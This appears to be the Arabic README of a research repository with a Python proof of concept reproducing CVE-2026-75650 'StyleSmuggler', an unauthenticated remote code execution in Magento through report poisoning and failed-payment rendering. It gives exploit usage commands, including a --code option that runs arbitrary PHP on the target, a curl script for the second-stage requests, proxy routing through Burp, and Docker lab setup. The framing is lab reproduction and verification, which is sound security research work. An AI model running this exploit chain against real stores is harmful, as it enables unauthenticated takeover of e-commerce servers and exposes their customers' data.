
Python PoC يعيد إنتاج CVE-2026-75650 StyleSmuggler، وهو RCE غير مصادق عليه في Magento عبر تسميم التقارير وعرض الدفعات الفاشلة، مع التحقق عبر canary.
مستودع بحثي خاص لإعادة إنتاج StyleSmuggler عبر HTTP فقط، CVE-2026-75650، ضد مختبر Magento Open Source محلي.
اقرأ الشرح التقني الكامل في Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
يقوم PoC المكتوب بلغة Python بتنفيذ التسلسل الكامل غير المُصادَق عليه:
type وtext وstyles في
سلسلة الاستعلام؛لا ينسخ أي أداة مساعدة إلى الحاوية ولا يستدعي الماسح الضوئي عبر Docker. تكفي مكتبة Python القياسية.
python3 exploit.py --target http://localhost:18082
يجب أن يحتوي المخرجات النهائية على RCE VERIFIED ونفس العلامة
STYLESMUGGLER_RUN_... الجديدة المطبوعة سابقًا في ذلك التشغيل. لا يمكن
لـ canary موجود مسبقًا تلبية الفحص لأن كل تشغيل يولّد علامة جديدة.
يجب أن يكون مسار التقرير هو المسار الذي تراه عملية PHP الهدف. تجاوزه عندما يستخدم Magento جذر مستندات آخر:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
مرّر عبارات PHP بدون <?php أو ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
يكتب PoC علامة التحقق الجديدة الخاصة به قبل تنفيذ المقتطف المُقدَّم ولا يزال يتحقق من تلك العلامة بعد ذلك.
يمكن إرسال كل طلب، بما في ذلك تسميم التقرير وجلب canary النهائي، عبر وكيل HTTP:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
أضف --proxy-insecure لهدف HTTPS لا تثق Python بشهادته المعترضة.
ينفّذ curl_failed_payment.sh طلبات المرحلة الثانية الأربعة ويسمّي
مكوّن Magento الذي يصل إليه كل طلب. يتطلب curl وjq و
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
عيّن هدفًا آخر أو مستمع Burp عبر متغيرات البيئة:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
يوفّر docker-compose.yml خدمات MySQL وOpenSearch وPHP/Apache معزولة
على 127.0.0.1:18082. يتوقع شجرة مصدر Magento مثبّتة في
./magento2-src.
استخدم التحقق النهائي النظيف التزام Magento:
f8405be831efa461ec18cc5a637cd98afa767015
استنسخ المصدر وثبّت تبعيات Composer الخاصة به قبل تشغيل عملية
setup:install العادية لـ Magento:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
بعد تثبيت Magento مع مضيف قاعدة البيانات db، ومضيف OpenSearch
opensearch، وعنوان URL الأساسي http://localhost:18082/، ابدأ خدمة
الويب:
docker compose up -d web
docker compose ps